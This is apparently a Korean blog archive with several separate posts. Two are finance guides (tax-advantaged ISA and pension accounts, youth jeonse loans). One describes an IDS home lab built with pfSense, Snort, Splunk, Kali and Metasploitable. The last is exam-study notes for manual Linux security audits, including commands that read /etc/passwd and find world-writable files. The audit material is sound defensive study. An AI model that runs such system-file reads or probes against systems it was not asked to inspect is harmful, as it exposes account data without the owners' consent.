320x100

이 글은 2024년 기준 작성되었습니다.

 

계좌를 운용하는 가장 좋은 방법

 

 

중개형 ISA

  • 목적: 목돈을 모으기 위한 계좌
  • 세액공제혜택:  3년 단위
  • 개설대상: 19세 이상 누구나
  • 납입한도: 연 2,000만원
    • (2025년에 연 4,000만원까지 늘어날 가능성이 있음)
  • 세제혜택: 손실이 난 금액을 뺀 순수익에 대해 세금을 매긴다.
    • 200만원(일반형) / 400만원(서민형) 비과세 
    • 초과분은 9.9% 저율 분리과세
  • 만기: 원하는 기간까지 길게 가능
  • 해지: 의무가입기간(3년) 후 가능
    • ISA의 세제해택은 해지할 떄 받을 수 있음 (3년마다 해지하고 재가입으로 혜택 극대화 가능)

 

 

 

 

연금저축펀드

  • 목적: 노후생활비 준비를 위한 계좌
  • 세액공제혜택:  매년
  • 개설대상: 누구나
    • 연말정산을 받지 않기 때문에 인출이 자유롭고, 계좌에서 발생하는 세금도 아이가 55세가 됐을 때 조금만 내기 때문에 증여용으로 활용할 수 있는 괜찮은 계좌
  • 납입한도: 연 1,800만원
  • 만기&해지: 의무가입기간(5년)후, 연금수령연력(55세) 이후
    • 의무가입기간 도래 전 중도해지 시, 일괄적으로 16.5% 부과

** 연금저축펀드와 IRP를 합쳐서 연간 납입액의 최대 900만원에 대해 16.5% / 13.2% 세액공제 가능 (최대 148만원 환급가능)

IRP

  • 목적: 노후생활비 준비를 위한 계좌
  • 세액공제혜택:  매년
  • 개설대상: 소득이 있는 누구나
  • 납입한도: 연 1,800만원
  • 만기&해지: 의무가입기간(5년)후, 연금수령연력(55세) 이후
    • 의무가입기간 도래 전 중도해지 시, 일괄적으로 16.5% 부과

** 연금저축펀드와 IRP를 합쳐서 연간 납입액의 최대 900만원에 대해 16.5% / 13.2% 세액공제 가능 (최대 148만원 환급가능)

 

 

투자상품

  중개형ISA 연금저축 IRP
공통점 - 국내 상장되어 있는 웬만한 상품은 전부 가능
- 직접 선택 가능
차이점 다양한 상품 펀드 & ETF 위주 안정적으로 분리해서 채권같은 안전자산 30% 이상 담아야함

 

 

중도 인출

중개형ISA 원금만 자유롭게 인출 가능
* 인출 시, 그만큼 납입한도가 다시 생기지 않음
연금저축 세액공제 안 받은 원금만 인출 가능
* 세액공제 받은 원금 & 수익은 기타소득세 16.5% 뗴고 인출 가능
IRP 중도 인출 제한
*퇴직, 사망, 장기요양 등 예외 사항만 허용

 

 

계좌 3가지를 운용하는 가장 좋은 방법

 

1. 매년 연금저축에 600만원 납입

2. 매년 IRP에 300만원 납입

3. 매년 ISA에 2천만원 납입

4. 3년마다 ISA 해지 후, 연금저축에 불입 & ISA 재개설

 

 

20~30대

소득이 적어서 낼 세금( =돌려받을 수 있는 세금)이 적은 상황

1. 매년 ISA에 최대 2천만원 납입 -> 3년마다 ISA 해지 후, 연금저축에 불입 & ISA 재개설

 

20~30대 연봉을 3000만원으로 가정하고 5년만에, 효율적으로 6,000만원  만드는 방법

매월 85만원 납입

- ISA 월 75만원

- 연금저축 월 10만원

 

소득이 적어도 돌려받을 세금이 완전 없는 것은 아니기 때문에, 매달 연금  저축에 10만원을 넣고 연말 정산 때 환금받은 금액은 다시 ISA 로 투자해야한다.

3년이 지난 후에 ISA 해지금액을 연금저축으로 옮기면 더 많은 세금을 환급 받을 수 있다.

이 과정을 반복하면 5년 후 6,600만원을 만들 수 있다.

 

40~50대

상대적으로 소득이 높다(=돌려받을 수 있는 세금이) 많은 상황

1. 세액공제혜택을 최대한 받을 수 있게 하기 위해 연금저축에 최대 600만원 납입

2. 주택 마련, 자녀 교육비 등에 필요한 목돈을 ISA계좌로 마련하는 것이 가장 좋다.

 

40~50대 연봉을 6000만원으로 가정하고 5년만에, 효율적으로 1억4000만원을 만드는 방법

매월 180만원 납입

- ISA 월 120만원

- 연금저축 월 50만원

- IRP 월 10만원

 

소득이 많아지면 돌려받을 수 있는 세금이 많아지기 때문에 연금저축에 매달 50만원을 넣고, IRP에 매달 10만원을 넣는다.

환급받은 금액을 무조건 ISA 로 굴리고 3년 뒤 해지금액을 다시 연금저축으로 돌려서 더 많은 세금을 환급받으면 된다.

이 과정을 반복하면 5년 후 1억 4천만원을 만들 수 있다.

 

50대 이상

자녀를 위한 목돈 & 내 은퇴를 위한 자금

소득이 많아 돌려받을 수 있는 세금이 많기 때문에 연금저축과 IRP 그리고 ISA 를 무조건 최대로 활용하는 것이 가장 좋다.

 

연봉 6,000만원으로 가정하고 5년안에 1.9억원으로 만드는 방법

매월 242만원 납입

- ISA 월 167만원

- 연금저축 월 50만원

- IRP 월 25만원

 

50대 이상은 연금저축에 연 600만원, IRP에 300만원을 꽉 채울 수 있도록 연금저축 매달 50만원, IRP 25만원을 넣고 환금받은 금액은 다시 ISA 로 투자한 다음, 3년 뒤 해지 금액을 연금저축으로 보내면 세금을 더 많이 환급 받을 수 있게 된다.

이 과정을 반복하면 5년 후 약2억원을 만들 수 있다.

 

 

 

 

 

 

 

 

이 글을 유튜브 채널 이효석아카데미를 참고하여 작성한 글입니다.

300x250
320x100

구성 환경

 


 

환경 구축 상세 계획 (이미지 구축 및 환경설정(네트워크))

 

1. Vmware 설치 후 Ubuntu 가상 환경 구축 및 Splunk 설치

  • Ubuntu VM 생성 후 Splunk 설치
  • Splunk 구성 후 로그 수집 설정

2. Metasploitable 가상 환경 및 웹 서버 구축

  • Metasploitable VM 생성
  • Victim 환경 구성

3. Kali Linux 가상 환경 구축 및 네트워크 설정

  • Kali VM 생성 후 네트워크 설정 완료

4. Pfsense를 통한 방화벽 설정

  • 방화벽 설정 및 네트워크 보안 강화

 

환경 구축 화면

 

  • 네트워크 설정

 

 

 

  • 각 OS 에 위에서 설정한 네트워크를 설정해준다.  

  • pfsense Assign interfaces & set interface IP address 

 

 

pfsense 웹 화면(방화벽)
공격자 화면
victim 웹 화면
splunk 화면

 

  • 각 OS의 라우팅 테이블에서 pfSense 설정 IP를 기반으로 기본 게이트웨이를 설정하여 상호간 포트를 개방합니다.

 

  • pfSense에 Snort 설치 후, 규칙을 다운로드하고 활성화하여 네트워크 트래픽을 모니터링 테스트합니다.

 

  • syslog-ng 설정 파일을 수정하여 Splunk를 통해 Snort 경고를 효과적으로 읽을 수 있도록 구성합니다.

  • 결과화면

 

 

 

 

 

참고링크 : https://osintteam.blog/intrusion-detection-lab-with-pf-sense-snort-splunk-953460530d86

300x250
320x100

 

대표적인 정부지원 전세대출 두가지 : 청년버팀목 & 중기청전세대출

 

General knowledge

 

1. 전세자금대출을 받더라도 20% 현금 자산은 필요하다.

  • 전세가 1억인 경우 20% 2천만원은 현금으로 가지고 있고, 나머지 금액을 은행에서 대출 받을 수 있다.
  • 내가 가지고 있는 현금을 가지고 갈 수 있는 전세집 계산 할 수 있는 사이트 / 똑똑계산기 : 내가 가지고 있는 현금을 가지고 거꾸로 계산해서 얼마짜리 전세집을 갈 수 있는지 보기

 

2. 전세대출 신청을 하기 위해서는 부동산에서 먼저 계약을 해야한다.

  • 부동산에서 집을 알아볼 때 확인해야 할 사항
    • 이삿날이 언제 인지 확인
    • HUG청년버팀목 가능 여부 확인
    • 보증금 얼마인지 (청년버팀목 최대 2억, 중기청 최대 1억)
    • 방 몇개인지 확인

3. 가계약금을 선납해서 내가 본 집을 다른사람이 보지 못하게 할 수 있다. 

  • 가계약금은 보증금의 10% 보증금이 1천만원이면 가계약금은 100만원을 지불하는게 통상적
  • 이후 계약서 작성할때 가계약금을 제외한 나머지 계약금 90%를 집주인한테 송금하면 된다.

 

4. 계약금은 무조건 10%로 해야하는 것은 아니고 5%도 가능하다.

  • 중개원한테 현금이 지금 5프로밖에 안된다고 말하고 협의를 통해서 계약금을 5%로 지불 할 수도 있다. (리스크를 줄이는 법)

 

5. 부동산에서 계약서 작성 후 전세대출 신청 방법

  1. 부동산 서류 : 전세계약서, 등기부등본, 계약금 영수증 챙겨서 확정일자 받으러 이사 할 집 근처 관할 주민센터 방문하기 (전입신고아니고 확정일자를 받아야함) 
  2. 확정일자를 관할주민센터 통해서 받았으면 전세대출 신청 가능
  3. (모바일어플)기금e든든 설치 후 사전자산심사 신청 (다음날이면 결과나옴)
  4. 사전자산관련 적격심사 승인 결과 나온 이후, 부동산 서류 들고 은행으로 HUG청년버팀목 또는 중기청 신청하러가기
  5. 일정기간이 지난 후, 허그 전세보증금 반환 보증발급 알림 + 국민은행 대출 실행 카톡이 옴 

 


청년전세대출 정리

1. 청년버팀목

  • 대출접수일 현재 만19세 이상 ~ 만34세 이하의 세대주 (예비세대주 포함)
  • 금리: 연 2.0%~3.1%
  • 최대 2억원 이내(임차보증금의 80% 이내)
  • 부부합산 연소득 5천만원 이하, 순자산가액 3.45억원 이하 무주택 세대주(예비세대주 포함)
  • 전용면적 85제곱미터 이하 가능
  • 대출한도 최대 2억원 또는 전세보증금 80% 중 더 적은금액
  • 최초 2년(4회연장, 최장 10년 이용가능) / (연장하면서 나이가 만34세를 지나도 연장에는 상관없음) 
  • 이사할 집이 위치한 "도내 영업점"에서 신청해야함

 

2. 중기청 "24년 12월31일까지만 가능"

 

  • 중소기업, 중견기업 다니는 직장인만 전세 대출 신청 가능
  • 금리1.5%
  • 대출 100% 가능 (내 현금 필요없음)
  • 전용면적 85제곱미터 이하 가능
  • 보증금 2억원 이하 집이어야 함
  • 대출한도 최대 1억원
  • 최초 2년(4회연장, 최장 10년 이용가능) / (연장하면서 나이가 만34세를 지나도 연장에는 상관없음) 
  • 이사할 집이 위치한 "도내 영업점"에서 신청해야함

 

가능하면 HUG로 신청, HF에 비해 덜 까다로움

  • HUG 최대한도 1억원에서 전세금액의 100프로까지 지원해줌
  • 중개원에게 중기청 100프로 가능한 집이 있는지 꼭 물어봐야함

 

@추가 자료
전세보증금반환보증 보증료 지원사업을 통해 보증보험 가입되어 있다면 최대30만원 환급가능

------
2. 청년버팀목 홈페이지 : https://nhuf.molit.go.kr/FP/FP05/FP0502/FP05020301.jsp
3. 중기청 홈페이지 : https://nhuf.molit.go.kr/FP/FP05/FP0502/FP05020601.jsp
4. 청년협약 전세자금보증 홈페이지 : https://www.hf.go.kr/ko/sub02/sub02_01_05.do?srZoneCd=A10&srEtcSprtVal=
4-1. 청년협약 전세자금보증 네이버 링크 : https://fin.land.naver.com/loan/recommend
5. 전세보증보험 신청 링크
     - 서울, 인천, 대전, 세종, 충남, 광주 : 정부24(http://www.gov.kr)
     - 경기 : 경기민원24(gg24.gg.go.kr)
     - 부산 : 부산광역시(http://www.busan.go.kr)
     - 대구 : 대구安방(anbang.daegu.go.kr)
     - 경북 : 경북 청년e끌림(gbyouth.co.kr)
     - 경남 : 경남바로서비스(baro.gyeongnahttp://m.go.kr)

300x250

320x100

OS,DBMS 수동진단

1. world writable

U-15 world writable 파일 점검 시스템 파일과 같은 중요 파일에 world writable 설정이 될 경우, 악의적인 사용자가 해당 파일을 마음대로 파일을 덧붙이거나 지울 수 있게 되어 시스템의 무단 접근 및 시스템 장애를 유발할 수 있습니다. 이를 방지하기 위해 world writable 파일을 이용한 시스템 접근 및 악의적인 코드 실행 권한을 변경하거나 제거해야 합니다.
  • 기타 사용자에게 권한을 주면 안된다. 타 사용자가 수정하거나 공격 대상이 될 수 있으므로

 

## U-15 (시험문제)

- 불필요한 world writable 파일 존재 여부 점검

- world writable : 타사용자에게 쓰기권한이 부여된 파일 

-  find / -type f -perm -2 -exec ls -l {} \;

    - 너무 많은 파일 검색, 절대 \ 금지

    - 실재 존재하는 파일이 아님

- proc, fs, usr/local : 반드시 분석에서 제외해야 하는 파일

- find / ! \( -path '/proc*' -o -path '/sys/fs*' -o -path '/usr/local*' -prune \) -perm -2 -type f -exec ls -al {} \;

```sh

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/member

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/user

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/relabel

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/create

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/access

-rw-rw-rw-. 1 root root 0 2024-08-28 14:16 /selinux/context

```

- 인터뷰 필요

-

- prune : 제외

 

 

2. 계정인증 (패스워드), 명령어(어떤걸 하기 위해 무슨 명령어를 사용해야하는지) - 객관식

U-04 패스워드 파일 보호 사용자 계정의 패스워드 암호화를 관장하는 대표적인 파일은 “/etc/shadow”로써 해당 파일의 존재 유무와 실제 모든 계정이 기록되어 있는 “passwd” 파일 내 로그인이 가능한 모든 사용자 계정이 암호화 되어 있는지 확인해야 합니다.
U-03 계정 잠금 임계값 설정 "/etc/pam.d/system-auth" 설정 파일 내 임계값이 5회, 잠금 시간이 60분(3600초)으로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.
U-02 패스워드 복잡성 설정 "/etc/pam.d/system-auth" 설정 파일 내 패스워드 복잡도가 “영문, 숫자, 특수문자”를 조합하여 최소 8자리 이상으로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.
항목 기본 기준 : 패스워드 복잡도(영문 /소문자, 숫자, 특수문자 채택 여부), 최소 자리수
U-46 패스워드 최소 길이 설정 "/etc/login.defs" 설정 파일 내 패스워드 길이가 8자리 이상으로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.
U-47 패스워드 최대 사용기간 설정 "/etc/login.defs" 설정 파일 내 패스워드 최대 사용기간이 90 이하로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.
U-48 패스워드 최소 사용기간 설정 "/etc/login.defs" 설정 파일 내 패스워드 최소 사용기간이 1 이상으로 설정되어 있는지 확인해야 합니다. 패스워드 복잡도의 기준은 각각의 회사마다 관리하고 있는 정보보호정책  정보보호지침 의거해서 기준이 상이 할 수 있습니다.

passwd 파일

  • Unix/Linux 시스템에서 사용자 계정 정보와 관련된 파일
  • 이 파일에는 각 사용자의 계정 이름, 암호화된 비밀번호, 사용자 ID (UID), 그룹 ID (GID), 사용자 정보(예: 이름), 홈 디렉토리 경로, 기본 셸 등이 포함되어 있습니다.
  • 일반적으로 이 파일은 /etc/passwd 경로에 위치하며, 시스템의 사용자 관리에 중요한 역할을 합니다.
  • 보안상의 이유로 암호는 일반적으로 /etc/shadow 파일에 저장 -> 패스워드 암호화를 관장

 

주요정보통신기반시설 보고서에 따르면 passwd 권한 644 이하 일 경우 "취약" 이다.

하지만, 타 사용자도 읽기 권한이 있지만 변경을 할 수 없기 떄문에 양호 처리한다.

 

 

로그인 가능계정 리스트업

cat /etc/passwd | grep bash

 

 

U-04
bash를 입력하는 이유는 최초 로그인을 시도했다는 증거 - 실제 로그인이 가능한 계정에 대해 암호화 처리가 되어있는지 확인한다.

 

3. 파일 및 디렉토리관리 에서 특정 키워드 놓고 뭔지 권한확인 문제 - 객관식

  • 읽기 권한 (Read) : 4
  • 쓰기 권한 (Write) : 2
  • 실행 권한 (Execute) : 1
U-56 UMASK 설정 관리 잘못된 UMASK 값으로 인해 시스템 내 신규 생성 파일에 대하여 과도한 권한이 부여될 수 있으며, 이로 인한 파일의 시스템 악용 우려가 있습니다. 이를 방지하기 위해 UMASK 값을 안전한 값으로 설정해야 합니다.
UMASK 022로 설정되어 있는지 확인해야 합니다.

 

기본 권한

  1. 파일의 기본 권한: 일반적으로 새로 생성된 파일의 기본 권한은 666 (읽기 및 쓰기 권한)입니다. 실행 권한은 기본적으로 포함되지 않습니다.
  2. 디렉토리의 기본 권한: 새로 생성된 디렉토리의 기본 권한은 777 (읽기, 쓰기, 실행 권한)입니다. 이는 디렉토리의 내용을 나열하고, 파일을 추가하거나 삭제할 수 있도록 하기 위해 실행 권한이 필요하기 때문입니다.

umask

하지만 실제로 사용자가 생성하는 파일이나 디렉토리의 권한은 umask 값에 따라 영향을 받습니다. umask는 기본 권한에서 제한할 권한을 지정하는 값입니다. 예를 들어, umask가 002라면:

  • 새로 생성된 파일 권한: 666 - 002 = 664
  • 새로 생성된 디렉토리 권한: 777 - 002 = 775

 

U-05 root , 패스 디렉토리 권한 및 패스 설정 OS에서 환경변수는 시스템 환경변수“, “사용자 환경변수로 구분되어 집니다. “시스템 환경변수 OS가 부팅되어 자동으로 실행해야하는 시스템 서비스를 구동합니다. “시스템 환경변수는 운영 및 관리자가 서비스를 구현하는 과정에서 추가 Middleware 및 서비스를 구동해야하는 경우 추가로 작성하는 변수입니다. 이번 항목에서는 시스템 환경변수 전체 내용에서 맨 앞과, 중간에 “.”이 포함되어 있는지 확인해야 합니다.
echo $PATH
U-06 파일 및 디렉토리 소유자 설정 삭제된 소유자의 UID와 동일한 사용자가 해당 파일, 디렉토리에 접근 가능하여 사용자 정보 등 중요 정보가 노출될 위험이 있습니다. 추가로 소유자가 존재하지 않는 파일 및 디렉토리를 삭제 및 관리하여 임의의 사용자에 의한 불법적 행위를 사전에 차단하기 위합입니다.
U-07 /etc/passwd 파일 소유자 및 권한 설정 관리자(root) 외 사용자가 "/etc/passwd" 파일의 변조가 가능할 경우 shell 변조, 사용자 추가/삭제, root 를 포함한 사용자 권한 획득 시도 등 악의적인 행위가 가능하며, /etc/passwd 파일 변경을 통한 비인가자의 권한 상승을 막기 위함입니다
U-08 /etc/shadow 파일 소유자 및 권한 설정 /etc/shadow” 파일을 관리자(소유자 root)만 제어(400)할 수 있게 하여 비인가자들의 접근을 제한하도록 shadow 파일 소유자 및 권한을 관리해야 하며 해당 파일에 대한 권한 관리가 이루어지지 않을 시 ID 및 패스워드 정보가 외부로 노출될 수 있습니다.
U-09 /etc/hosts 파일 소유자 및 권한 설정 hosts 파일에 비인가자 쓰기 권한이 부여된 경우, 공격자는 hosts(IP, hostname)파일에 악의적인 시스템을 등록하여, 이를 통해 정상적인 DNS를 우회하여 악성사이트로의 접속을 유도하는 파밍(Pharming) 공격 등에 악용될 수 있으며, /etc/hosts 파일을 관리자(600)만 제어할 수 있게 하여 비인가자들의 임의적인 파일 변조를 방지하기 위함입니다.
U-10 /etc/(x)inetd.conf 파일 소유자 및 권한 설정 (x)inetd.conf 파일에 비인가자의 쓰기 권한이 부여되어 있을 경우, 비인가자가 악의적인 프로그램을 등록하여 root 권한으로 불법적인 서비스를 실행할 수 있습니다. 이는 방지하기 위해서는 /etc/(x)inetd.conf 파일을 관리자만 제어할 수 있게 하여 비인가자들의 임의적인 파일 변조를 방지해야 합니다.
xinetd/inetd : 인터넷슈퍼데몬(서버 내부에 xinetd 경로 내 데몬이 등록되어 있을 경우 원격지(Public망) Client가 이를 호출할 수 있게 함
U-11 /etc/syslog.conf 파일 소유자 및 권한 설정 syslog.conf 파일의 접근 권한이 적절하지 않을 경우, 임의적인 파일 변조로 인해 침입자의 흔적 또는 시스템 오류 사항을 분석하기 위해 반드시 필요한 시스템 로그가 정상적으로 기록 되지 않을 수 있습니다. 이를 방지하기 위해서/etc/syslog.conf 파일의 권한 적절성(640)을 점검하여 관리자 외 비인가자의 임의적인 syslog.conf 파일 변조를 방지해야 합니다.
U-12 /etc/services 파일 소유자 및 권한 설정 services 파일의 접근 권한이 적절하지 않을 경우 비인가 사용자가 운영 포트번호를 변경하여 정상적인 서비스를 제한하거나, 허용되지 않은 포트를 오픈하여 악성 서비스를 의도적으로 실행할 수 있습니다. 이를 방지하기 위해서 /etc/services 파일을 관리자만 제어(600)할 수 있게 해야 합니다.

U-13 SUID, SGID, Sticky bit 설정 및 권한 설정 이를 방지하기 위해서 불필요한 SUID, SGID 설정을 제거해야 합니다. (확인 필요 파일 : /sbin/dump, /sbin/restore, /sbin/unix_chkpwd, /usr/bin/at, /usr/bin/lpq, /usr/bin/lpq-lpd, /usr/bin/lpr, /usr/bin/lpr-lpd, /usr/bin/lprm, /usr/bin/lprm-lpd, /usr/bin/newgrp, /usr/sbin/lpc, /usr/sbin/lpc-lpd, /usr/sbin/traceroute)
* SUID(Set User-ID) : 설정된 파일 실행 시, 특정 작업 수행을 위하여 일시적으로 파일 소유자의 권한을 얻게 됨.
* SGID(Set Group-ID) : 설정된 파일 실행 시, 특정 작업 수행을 위하여 일시적으로 파일 소유 그룹의 권한을 얻게 됨.
U-14 사용자, 시스템 시작파일 및 환경파일 소유자 및 권한 설정 홈 디렉토리 내의 사용자 파일 및 사용자 별 시스템 시작파일 등과 같은 환경변수 파일의 접근권한 설정이 적절하지 않을 경우, 비인가자가 환경변수 파일을 변조하여 정상 사용중인 사용자의 서비스가 제한 될 수 있습니다. 이를 방지하기 위해비인가자의 환경변수 조작을 통제해야 합니다. .*_history, profile, logout, bashrc 등의 권한이 확인이 필요함
U-15 world writable 파일 점검 시스템 파일과 같은 중요 파일에 world writable 설정이 될 경우, 악의적인 사용자가 해당 파일을 마음대로 파일을 덧붙이거나 지울 수 있게 되어 시스템의 무단 접근 및 시스템 장애를 유발할 수 있습니다. 이를 방지하기 위해 world writable 파일을 이용한 시스템 접근 및 악의적인 코드 실행 권한을 변경하거나 제거해야 합니다.
U-16 /dev에 존재하지 않는 device 파일 점검 공격자는 rootkit 설정파일들을 서버 관리자가 쉽게 발견하지 못하도록 /dev  device 파일인 것처럼 위장하는 수법을 많이 사용합니다. 이를 방지하기 위해서 실제 존재하지 않는 디바이스를 찾아 제거해야 합니다.
find /dev -type f -exec ls -al {} \;
U-17 $HOME/.rhosts, hosts.equiv 사용 금지 rlogin, rsh 등과 같은 'r'command의 보안 설정이 적용되지 않은 경우, 원격지의 공격자가 관리자 권한으로 목표 시스템상의 임의의 명령을 수행시킬 수 있습니다. 이를 방지하기 위해 'r'command 사용을 통한 원격 접속은 인증 없이 관리자 원격 접속이 가능하므로 서비스 포트를 차단해야 합니다. rexec, rsh, rlogin” – 인터넷 슈퍼 데몬에서 확인 필요
U-18 접속 IP 및 포트 제한 허용할 호스트에 대한 IP  포트제한이 적용되지 않은 경우, Telnet, FTP같은 보안에 취약한 네트워크 서비스를 통하여 불법적인 접근 및 시스템 침해사고가 발생할 수 있습니다. 이를 방지하기 위해 허용한 호스트만 서비스를 사용하게 해야 합니다. /etc/hosts.deny에서는 “ALL:ALL” 설정해서 전체를 차단하고 /etc/hosts.allow에서는 호용이 필요한 사용자의 hostname, IP주소가 설정되어 있는지 확인해야 합니다.
U-55 hosts.lpd 파일 소유자 및 권한 설정 hosts.lpd 파일의 접근권한이 적절하지 않을 경우 비인가자가 /etc/hosts.lpd 파일을 수정하여 허용된 사용자의 서비스를 방해할 수 있으며, 호스트 정보를 획득 할 수 있습니다. 이를 방지하기 위해 비인가자의 임의적인 hosts.lpd 변조를 막기 위해 hosts.lpd 파일 삭제 또는 소유자 및 권한 관리를 해야 합니다.
U-56 UMASK 설정 관리 잘못된 UMASK 값으로 인해 시스템 내 신규 생성 파일에 대하여 과도한 권한이 부여될 수 있으며, 이로 인한 파일의 시스템 악용 우려가 있습니다. 이를 방지하기 위해 UMASK 값을 안전한 값으로 설정해야 합니다.
UMASK 022로 설정되어 있는지 확인해야 합니다.
U-57 홈디렉토리 소유자 및 권한 설정 홈 디렉토리 내 설정파일 변조 시 정상적인 서비스 이용이 제한될 우려가 존재합니다. 이를 방지하기 위해 사용자 홈 디렉토리 소유자 및 권한 설정을 점검해야 합니다.
소유자가 자기 자신으로 설정되어 있는지 타사용자 권한이 부여되어 있는지 확인해야 합니다.
U-58 홈디렉토리로 지정한 디렉토리의 존재 관리 사용자에게 지정된 디렉토리가 아닌 곳이 홈 디렉토리로 설정될 경우 해당 디렉토리 내 명령어 사용이 가능하며 이에 따라 시스템 관리 및 보안상 문제가 발생할 수 있습니다. 이를 방지하기 위해 /home 이외 사용자의 홈 디렉토리 존재 여부를 점검해야 합니다.

 

## U-06

- 파일 및 디렉토리 소유자 설정

- 소유자가 불분명한 파일이나 디렉토리가 존재하는지 여부를 점검

- find / -nouser -print

    - 하면 너무 많이 나옴

 

## U-09

- 파일 및 디렉토리 관리 /etc/hosts/ 파일 소유자 권한

- 소유자가 root, 권한 600

 

 

 

4. 서비스관리 안에 있는 항목 중에 아파치 문제 (난이도 중) - 객관식

U-35 Apache 디렉토리 리스팅 제거 디렉토리 검색 기능이 활성화 되어 있을 경우, WEB 서버 구조 노출뿐만 아니라 백업 파일이나 소스파일, 공개되어서는 안되는 파일 등이 노출이 가능합니다. 이를 방지하기 위해 외부에서 디렉토리 내의 모든 파일에 대한 접근 및 열람을 제한해야 합니다.
U-36 Apache 웹 프로세스 권한 제한 웹 프로세스 취약점 공격으로 Apache 권한이 탈취 당할 경우 Apache 프로세스의 권한이 root이면 시스템 전체의 제어권을 탈취 당해 피해범위가 확산될 가능성이 있습니다. 이를 방지하기 위해 Apache 데몬을 root 권한으로 구동하지 않고 별도의 권한으로 서비스하도록 설정해야 합니다.
U-37 Apache 상위 디렉토리 접근 금지 상위 경로로 이동하는 것이 가능할 경우 접근하고자 하는 디렉토리의 하위 경로에 접속하여 상위 경로로 이동함으로써 악의적인 목적을 가진 사용자의 접근이 가능하게 됩니다. 이를 방지하기 위해 상위 경로 이동 명령으로 비인가자의 특정 디렉토리에 대한 접근 및 열람을 제한해야 합니다.
U-38 Apache 불필요한 파일 제거 Apache 설치 시 htdocs 디렉토리 내에 매뉴얼 파일은 시스템 관련정보를 노출하거나 해킹에 악용될 수 있습니다. 이를 방지하기 위해 Apache 설치 시 디폴트로 설치되는 불필요한 파일을 제거해야 합니다.
U-39 Apache 링크 사용 금지 시스템 자체의 root 디렉토리(/)에 링크를 걸게 되면 웹 서버 구동 사용자 권한(nobody)으로 모든 파일 시스템의 파일에 접근할 수 있게 되어 "/etc/passwd" 파일과 같은 민감한 파일을 누구나 열람할 수 있습니다. 이를 방지하기 위해 무분별한 심볼릭 링크, aliases 사용을 제한해야 합니다.
U-40 Apache 파일 업로드 및 다운로드 제한 악의적 목적을 가진 사용자가 반복 업로드 및 웹 쉘 공격 등으로 시스템 권한을 탈취하거나 대용량 파일의 반복 업로드로 서버자원을 고갈시키는 공격의 위험이 있습니다. 이를 방지하기 위해 파일 업로드 및 다운로드를 제한해야 하지만 불가피하게 필요시 용량 사이즈를 제한해야 합니다.
U-41 Apache 웹 서비스 영역의 분리 웹 서버의 루트 디렉토리와 OS의 루트 디렉토리를 다르게 지정하지 않았을 경우, 비인가자가 웹 서비스를 통해 해킹이 성공할 경우 시스템 영역까지 접근이 가능하여 피해가 확장될 수 있습니다. 이를 방지하기 위해 웹 서비스 영역과 시스템 영역을 분리시켜야 합니다.
U-71 Apache 웹 서비스 정보 숨김 불필요한 정보가 노출될 경우 해당 정보를 이용하여 시스템의 취약점을 수집할 수 있습니다. 이를 방지하기 위해 HTTP 헤더, 에러페이지에서 웹 서버 버전 및 종류, OS 정보 등 웹 서버와 관련된 불필요한 정보가 노출되지 않도록 설정해야 합니다.

## U-36
```
[root@localhost ~]# ps -ef | grep "httpd"
root      2171     1  0 Aug28 ?        00:00:09 /usr/sbin/httpd
apache    2736  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2737  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2738  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2739  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2740  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2741  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2742  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
apache    2743  2171  0 Aug28 ?        00:00:00 /usr/sbin/httpd
root      8116  8053  0 00:54 pts/0    00:00:00 grep httpd
```

- 불특정 다수가 서비스를 핸들링 함은 위험
- 필요한 권한만 허용
- root 계정은 booting script 때문에 먼저 구동

cat /etc/httpd/conf/httpd.conf | grep "User\|Group"| grep -v "#"
- 로그인이 불가능하도록 쉘 제한이 필수라는 항목에 대하여
    - cat /etc/passwd | grep apache
        - apache:x:48:48:Apache:/var/www:/sbin/nologin
        - 로그인 비허용

 

 

5. 샌드 메일 (주관식)

 

U-30 Sendmail 버전 점검 취약점이 발견된 Sendmail 버전의 경우 버퍼 오버플로우(Buffer Overflow) 공격에 의한 시스템 권한 획득 및 주요 정보 유출 가능성이 있습니다. 이를 방지하기 위해 Sendmail 서비스 사용 목적 검토 및 취약점이 없는 버전의 사용 유무를 점검해야 합니다. rpm qa | grep sendmail
U-31 스팸 메일 릴레이 제한 SMTP 서버의 릴레이 기능을 제한하지 않는 경우, 악의적인 사용목적을 가진 사용자들이 스팸메일 서버로 사용하거나 DoS공격의 대상이 될 수 있습니다. ps -ef | grep sendmail
U-32 일반사용자의 Sendmail 실행 방지 일반사용자가 q 옵션을 이용해서 메일큐, Sendmail 설정을 보거나 메일큐를 강제적으로 drop 시킬 수 있어 악의적으로 SMTP 서버의 오류를 발생시킬 수 있습니다. 일반사용자의 q 옵션을 제한하여 Sendmail 설정 및 메일큐를 강제적으로 drop 시킬 수 없게 하여 비인가자에 의한 SMTP 서비스 오류를 방지해야 합니다.
ps -ef | grep sendmail
U-68 로그온 시 경고 메시지 제공 로그인 배너가 설정되지 않을 경우 배너에 서버 OS 버전 및 서비스 버전이 공격자에게 노출될 수 있으며 공격자는 이러한 정보를 통하여 해당 OS 및 서비스의 취약점을 이용하여 공격을 시도할 수 있습니다. 이를 방지하기 위해 서버 접속 시 관계자만 접속해야 한다는 경고 메시지를 설정해야 합니다.
